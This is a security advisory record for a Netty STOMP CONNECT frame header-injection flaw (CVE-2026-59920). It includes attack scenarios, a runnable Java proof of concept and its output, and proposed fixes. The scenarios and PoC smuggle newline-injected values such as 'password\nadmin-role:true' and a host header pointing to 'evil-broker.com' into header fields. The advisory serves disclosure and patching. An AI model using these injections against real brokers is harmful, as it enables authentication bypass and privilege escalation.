{"id":"CVE-2026-59920","aliases":["GHSA-3g8r-4pfx-jmfh"],"title":"Netty: STOMP CONNECT Frame Header Injection in Netty","summary":"Netty: STOMP CONNECT Frame Header Injection in Netty","severity":"medium","cvss":6.5,"cwe":["CWE-93"],"vendor":"netty","product":"io.netty:netty-codec-stomp","ecosystem":"maven","affected":["io.netty:netty-codec-stomp >= 4.2.0.Final, < 4.2.16.Final","io.netty:netty-codec-stomp < 4.1.136.Final"],"patched":["io.netty:netty-codec-stomp 4.2.16.Final","io.netty:netty-codec-stomp 4.1.136.Final"],"published":"2026-07-22","updated":"2026-07-22","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-3g8r-4pfx-jmfh","references":[{"url":"https://github.com/netty/netty/security/advisories/GHSA-3g8r-4pfx-jmfh"},{"url":"https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"},{"url":"https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"},{"url":"https://github.com/advisories/GHSA-3g8r-4pfx-jmfh"}],"tags":["ghsa","maven"],"ingestedAt":"2026-07-22T22:06:57.590Z","epss":0.00239,"epssPercentile":0.15248,"slug":"CVE-2026-59920","body":"## Overview\n\n# Security Vulnerability Report: STOMP CONNECT Frame Header Injection in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-stomp) |\n| **Component** | `io.netty.handler.codec.stomp.StompSubframeEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: Improper Neutralization of CRLF in HTTP Headers |\n| **Impact** | STOMP Header Injection / Authentication Bypass |\n| **CVSS 3.1 Score** | **6.5 (Medium)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N` |\n| **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | Low |\n| **User Interaction** | None |\n| **Scope** | Unchanged |\n| **Confidentiality Impact** | None |\n| **Integrity Impact** | High |\n| **Availability Impact** | None |\n\n## 2. Affected Components\n\n- `io.netty.handler.codec.stomp.StompSubframeEncoder` — `encodeHeaders()` method (lines 174-200)\n- `io.netty.handler.codec.stomp.StompSubframeEncoder` — `shouldEscape()` method (lines 214-216)\n\n## 3. Vulnerability Description\n\nThe Netty STOMP codec encoder (`StompSubframeEncoder`) intentionally skips the `escape()` function for `CONNECT` and `CONNECTED` commands. This means that newline characters (`\\n`) in header values of CONNECT frames are written directly to the output, allowing an attacker to inject additional STOMP headers.\n\n### Root Cause\n\nIn `StompSubframeEncoder.java`, the `shouldEscape()` method (lines 214-216) explicitly excludes CONNECT and CONNECTED commands from escaping:\n\n```java\nprivate static boolean shouldEscape(StompCommand command) {\n    return command != StompCommand.CONNECT && command != StompCommand.CONNECTED;\n}\n```\n\nWhen `shouldEscape()` returns `false`, header values are written without any escaping (line 195):\n\n```java\nCharSequence headerValue = shouldEscape ? escape(entry.getValue()) : entry.getValue();\nByteBufUtil.writeUtf8(buf, headerValue);  // Raw \\n written to output\nbuf.writeByte(StompConstants.LF);\n```\n\nFor other commands (SEND, SUBSCRIBE, etc.), the `escape()` method (lines 218-240) correctly converts `\\n` to `\\\\n`, `\\r` to `\\\\r`, `:` to `\\\\c`, and `\\\\` to `\\\\\\\\`.\n\n### STOMP Specification Context and Security Analysis\n\nThe STOMP 1.2 specification (Section 10, Value Encoding) states that CONNECT and CONNECTED frames should **not use escaping**, to maintain backwards compatibility with STOMP 1.0 clients that do not understand escape sequences.\n\n**However, \"no escaping\" does not mean \"no validation\".** The specification's intent is that CONNECT headers should not use the `\\n` → `\\\\n` escape notation. It does **not** mandate that implementations must accept raw newline characters within header values. There is a critical distinction:\n\n- **Escaping** = converting `\\n` to `\\\\n` in the wire format (spec says: don't do this for CONNECT)\n- **Validation** = rejecting header values that contain `\\n` (spec does not prohibit this)\n\nNetty's implementation conflates these two concepts: by skipping `escape()`, it also skips **all** protection against newline injection. The correct behavior would be to skip escaping but still **reject** values containing raw newline characters, since such values are inherently malformed — no legitimate STOMP 1.0 or 1.2 header value should contain a raw `\\n`.\n\nThis is analogous to Netty's own SMTP fix (GHSA-jq43-27x9-3v86): SMTP parameters don't need escaping either, but Netty added validation to reject CRLF in parameters. The same principle should apply here.\n\n**Additionally**, Netty's own test suite explicitly validates this non-escaping behavior in `StompSubframeEncoderTest.java:126-143` (`testNotEscapeStompHeadersForConnectCommand`), confirming that this is a deliberate design choice — but the test only verifies that escaping is skipped, not that injection is possible. The security implications were not considered.\n\n**Summary**: The vulnerability exists because:\n\n1. Header values in CONNECT frames are **neither escaped nor validated** for newlines\n2. A raw newline in a header value creates a **new header line** on the wire\n3. The STOMP broker parses each line as a separate header\n4. The fix should **validate** (reject `\\n`) rather than **escape** (convert `\\n` to `\\\\n`), maintaining spec compliance\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when **all** of the following conditions are met:\n\n1. The application uses Netty's `codec-stomp` module to encode STOMP frames\n2. User-controlled input is placed into header values of a `CONNECT` or `CONNECTED` frame\n3. The application does **not** perform its own newline sanitization\n4. The downstream STOMP broker processes the injected headers (broker-dependent)\n\n**Typical affected use cases**:\n- STOMP proxy/gateway applications that forward or construct CONNECT frames with user-supplied credentials\n- Web-to-STOMP bridge applications (e.g., WebSocket-STOMP proxies) where login/passcode come from web forms\n- Multi-tenant STOMP platforms where tenant-specific headers are injected into CONNECT frames\n\n## 5. Attack Scenarios\n\n### Scenario 1: Authentication Bypass via Header Injection\n\nAn attacker who can control any header value in a CONNECT frame can inject additional authentication-related headers:\n\n```java\nDefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);\nframe.headers().set(StompHeaders.HOST, \"localhost\");\nframe.headers().set(StompHeaders.LOGIN, \"guest\");\n// Attacker injects a role header via \\n in passcode\nframe.headers().set(StompHeaders.PASSCODE, \"password\\nadmin-role:true\");\n```\n\n**Wire format sent to broker:**\n```\nCONNECT\nhost:localhost\nlogin:guest\npasscode:password\nadmin-role:true        <-- INJECTED HEADER\n                       <-- Empty line (end of headers)\n\\0\n```\n\nThe broker receives 5 headers instead of the intended 4. If the broker checks for an `admin-role` header to grant elevated privileges, the attacker bypasses authentication.\n\n### Scenario 2: Subscription Hijacking\n\n```java\nframe.headers().set(StompHeaders.PASSCODE, \"pass\\nhost:evil-broker.com\");\n```\n\nThis overwrites the `host` header, potentially redirecting the connection to an attacker-controlled STOMP broker (depending on broker implementation).\n\n### Scenario 3: Header Overwrite\n\n```java\nframe.headers().set(StompHeaders.LOGIN, \"user\\nlogin:admin\");\n```\n\n**Wire format:**\n```\nCONNECT\nlogin:user\nlogin:admin            <-- INJECTED, may override first\n...\n```\n\nSome brokers use the last value when duplicate headers exist, allowing the attacker to escalate to the `admin` account.\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (StompConnectHeaderInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.stomp.*;\n\nimport java.nio.charset.StandardCharsets;\n\n/**\n * PoC: STOMP CONNECT/CONNECTED Frame Header Injection Vulnerability\n *\n * Demonstrates that StompSubframeEncoder skips escape() for CONNECT and\n * CONNECTED commands, allowing \\n injection in header values to create\n * additional STOMP headers.\n */\npublic class StompConnectHeaderInjectionPoC {\n\n    public static void main(String[] args) {\n        System.out.println(\"=== Netty STOMP CONNECT Header Injection PoC ===\\n\");\n\n        testConnectHeaderInjection();\n        testConnectVsOtherCommand();\n\n        System.out.println(\"\\n=== PoC Complete ===\");\n    }\n\n    /**\n     * Test 1: CONNECT command header injection via \\n in value\n     */\n    static void testConnectHeaderInjection() {\n        System.out.println(\"[TEST 1] CONNECT Header Value Injection\");\n        System.out.println(\"-----------------------------------------\");\n\n        // Craft a CONNECT frame with \\n in passcode value\n        DefaultStompHeaders headers = new DefaultStompHeaders();\n        headers.set(StompHeaders.HOST, \"localhost\");\n        headers.set(StompHeaders.ACCEPT_VERSION, \"1.2\");\n        headers.set(StompHeaders.LOGIN, \"user\");\n        headers.set(StompHeaders.PASSCODE, \"password\\nadmin-role:true\");\n\n        DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);\n        frame.headers().setAll(headers);\n\n        EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());\n        channel.writeOutbound(frame);\n\n        ByteBuf output = channel.readOutbound();\n        String encoded = output.toString(StandardCharsets.UTF_8);\n        output.release();\n        channel.finishAndReleaseAll();\n\n        System.out.println(\"Input passcode: \\\"password\\\\nadmin-role:true\\\"\");\n        System.out.println();\n        System.out.println(\"Encoded STOMP frame:\");\n        System.out.println(\"---\");\n        // Show with visible control chars\n        for (String line : encoded.split(\"\\n\", -1)) {\n            System.out.println(\"  \" + line.replace(\"\\r\", \"\\\\r\").replace(\"\\0\", \"\\\\0\"));\n        }\n        System.out.println(\"---\");\n\n        // Check if the injected header appears as a separate line\n        boolean hasInjectedHeader = false;\n        String[] lines = encoded.split(\"\\n\");\n        for (String line : lines) {\n            if (line.startsWith(\"admin-role:\")) {\n                hasInjectedHeader = true;\n                break;\n            }\n        }\n\n        System.out.println();\n        System.out.println(\"Injected 'admin-role' appears as separate header: \" + hasInjectedHeader);\n        System.out.println(\"VULNERABLE: \" + (hasInjectedHeader ?\n            \"YES - Header injection in CONNECT frame!\" : \"NO\"));\n\n        // Count actual STOMP headers (lines between command and empty line)\n        int headerCount = 0;\n        boolean inHeaders = false;\n        for (String line : lines) {\n            if (line.equals(\"CONNECT\")) {\n                inHeaders = true;\n                continue;\n            }\n            if (inHeaders && line.trim().isEmpty()) break;\n            if (inHeaders && line.contains(\":\")) headerCount++;\n        }\n        System.out.println(\"Expected headers: 4 (host, accept-version, login, passcode)\");\n        System.out.println(\"Actual headers:   \" + headerCount);\n        System.out.println();\n    }\n\n    /**\n     * Test 2: Compare CONNECT (no escape) vs SEND (with escape)\n     */\n    static void testConnectVsOtherCommand() {\n        System.out.println(\"[TEST 2] CONNECT vs SEND Escape Comparison\");\n        System.out.println(\"--------------------------------------------\");\n\n        String maliciousValue = \"value\\ninjected:evil\";\n\n        // Test CONNECT (no escape)\n        {\n            DefaultStompHeaders headers = new DefaultStompHeaders();\n            headers.set(StompHeaders.HOST, \"localhost\");\n            headers.set(\"custom\", maliciousValue);\n\n            DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);\n            frame.headers().setAll(headers);\n            EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());\n            channel.writeOutbound(frame);\n\n            ByteBuf output = channel.readOutbound();\n            String encoded = output.toString(StandardCharsets.UTF_8);\n            output.release();\n            channel.finishAndReleaseAll();\n\n            System.out.println(\"CONNECT frame with custom=\\\"value\\\\ninjected:evil\\\":\");\n            System.out.println(\"  Encoded: \" + encoded.replace(\"\\n\", \"\\\\n\").replace(\"\\0\", \"\\\\0\"));\n\n            boolean hasRawNewline = encoded.contains(\"value\\ninjected:evil\");\n            System.out.println(\"  Raw \\\\n in output: \" + hasRawNewline);\n            System.out.println(\"  VULNERABLE: \" + (hasRawNewline ? \"YES\" : \"NO\"));\n        }\n\n        System.out.println();\n\n        // Test SEND (with escape)\n        {\n            DefaultStompHeaders headers = new DefaultStompHeaders();\n            headers.set(StompHeaders.DESTINATION, \"/queue/test\");\n            headers.set(\"custom\", maliciousValue);\n\n            DefaultStompFrame frame = new DefaultStompFrame(StompCommand.SEND);\n            frame.headers().setAll(headers);\n            EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());\n            channel.writeOutbound(frame);\n\n            ByteBuf output = channel.readOutbound();\n            String encoded = output.toString(StandardCharsets.UTF_8);\n            output.release();\n            channel.finishAndReleaseAll();\n\n            System.out.println(\"SEND frame with custom=\\\"value\\\\ninjected:evil\\\":\");\n            System.out.println(\"  Encoded: \" + encoded.replace(\"\\n\", \"\\\\n\").replace(\"\\0\", \"\\\\0\"));\n\n            boolean hasEscapedNewline = encoded.contains(\"value\\\\ninjected\\\\cevil\");\n            boolean hasRawNewline = encoded.contains(\"value\\ninjected:evil\");\n            System.out.println(\"  Escaped \\\\n: \" + hasEscapedNewline);\n            System.out.println(\"  Raw \\\\n:     \" + hasRawNewline);\n            System.out.println(\"  SAFE: \" + (hasEscapedNewline && !hasRawNewline ? \"YES\" : \"NO\"));\n        }\n        System.out.println();\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\n# Build Netty (skip tests for speed)\n./mvnw install -pl common,buffer,codec,codec-stomp,transport -DskipTests -Dcheckstyle.skip=true \\\n  -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \\\n  -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q\n\n# Set classpath\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr '\\n' ':')\n\n# Compile and run\njavac -cp \"$JARS\" StompConnectHeaderInjectionPoC.java\njava -cp \"$JARS:.\" StompConnectHeaderInjectionPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty STOMP CONNECT Header Injection PoC ===\n\n[TEST 1] CONNECT Header Value Injection\n-----------------------------------------\nInput passcode: \"password\\nadmin-role:true\"\n\nEncoded STOMP frame:\n---\n  CONNECT\n  host:localhost\n  accept-version:1.2\n  login:user\n  passcode:password\n  admin-role:true          <-- INJECTED HEADER\n\n  \\0\n---\n\nInjected 'admin-role' appears as separate header: true\nVULNERABLE: YES - Header injection in CONNECT frame!\nExpected headers: 4 (host, accept-version, login, passcode)\nActual headers:   5\n\n[TEST 2] CONNECT vs SEND Escape Comparison\n--------------------------------------------\nCONNECT frame with custom=\"value\\ninjected:evil\":\n  Encoded: CONNECT\\nhost:localhost\\ncustom:value\\ninjected:evil\\n\\n\\0\n  Raw \\n in output: true\n  VULNERABLE: YES\n\nSEND frame with custom=\"value\\ninjected:evil\":\n  Encoded: SEND\\ndestination:/queue/test\\ncustom:value\\ninjected\\cevil\\n\\n\\0\n  Escaped \\n: true\n  Raw \\n:     false\n  SAFE: YES\n\n\n=== PoC Complete ===\n```\n\n### Key Observation\n\nThe PoC demonstrates a clear inconsistency:\n- **CONNECT** command: `\\n` is written **raw** → header injection succeeds\n- **SEND** command: `\\n` is escaped to `\\\\n` → header injection prevented\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Authentication** | Injected headers may bypass broker authentication logic |\n| **Authorization** | Role escalation via injected role/permission headers |\n| **Integrity** | Modification of connection parameters (host, version, etc.) |\n| **Broker-Specific** | Impact varies by STOMP broker implementation (RabbitMQ, ActiveMQ, etc.) |\n\n### Affected Brokers\n\nThis vulnerability affects any application using Netty's STOMP encoder to communicate with STOMP brokers. The actual exploitability depends on the broker's handling of unexpected headers:\n\n- **RabbitMQ**: Uses specific headers for authentication; additional headers are typically ignored but may affect plugins\n- **ActiveMQ**: May process custom headers for internal routing\n- **Custom Brokers**: Most likely to be affected if they trust all received headers\n\n## 8. Remediation Recommendations\n\n### Option 1: Validate CONNECT Header Values (Recommended)\n\nAdd newline validation for CONNECT/CONNECTED frames instead of skipping escaping entirely:\n\n```java\nprivate static void encodeHeaders(StompHeadersSubframe frame, ByteBuf buf) {\n    StompCommand command = frame.command();\n    ByteBufUtil.writeUtf8(buf, command.toString());\n    buf.writeByte(StompConstants.LF);\n\n    boolean shouldEscape = shouldEscape(command);\n    for (Entry<CharSequence, CharSequence> entry : frame.headers()) {\n        CharSequence headerKey = entry.getKey();\n        CharSequence headerValue = entry.getValue();\n\n        if (shouldEscape) {\n            headerKey = escape(headerKey);\n            headerValue = escape(headerValue);\n        } else {\n            // For CONNECT/CONNECTED: don't escape but REJECT newlines\n            validateNoNewlines(headerKey, \"header name\");\n            validateNoNewlines(headerValue, \"header value\");\n        }\n\n        ByteBufUtil.writeUtf8(buf, headerKey);\n        buf.writeByte(StompConstants.COLON);\n        ByteBufUtil.writeUtf8(buf, headerValue);\n        buf.writeByte(StompConstants.LF);\n    }\n    buf.writeByte(StompConstants.LF);\n}\n\nprivate static void validateNoNewlines(CharSequence value, String type) {\n    for (int i = 0; i < value.length(); i++) {\n        char c = value.charAt(i);\n        if (c == '\\n' || c == '\\r') {\n            throw new IllegalArgumentException(\n                \"STOMP CONNECT \" + type + \" contains illegal newline at index \" + i);\n        }\n    }\n}\n```\n\n### Option 2: Apply Escaping to All Commands\n\nSimply remove the CONNECT/CONNECTED exception:\n\n```java\nprivate static boolean shouldEscape(StompCommand command) {\n    return true; // Always escape\n}\n```\n\nNote: This may break compatibility with STOMP 1.0 clients, but is the most secure approach.\n\n## 9. References\n\n- [STOMP 1.2 Specification](https://stomp.github.io/stomp-specification-1.2.html)\n- [STOMP 1.2 Section 10: Value Encoding](https://stomp.github.io/stomp-specification-1.2.html#Value_Encoding)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (similar pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)\n\n## Affected packages\n\n- `io.netty:netty-codec-stomp >= 4.2.0.Final, < 4.2.16.Final`\n- `io.netty:netty-codec-stomp < 4.1.136.Final`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `io.netty:netty-codec-stomp 4.2.16.Final`\n- `io.netty:netty-codec-stomp 4.1.136.Final`","depth":"sunlit","depthScore":36,"depthScoreParts":{"impact":35.8,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}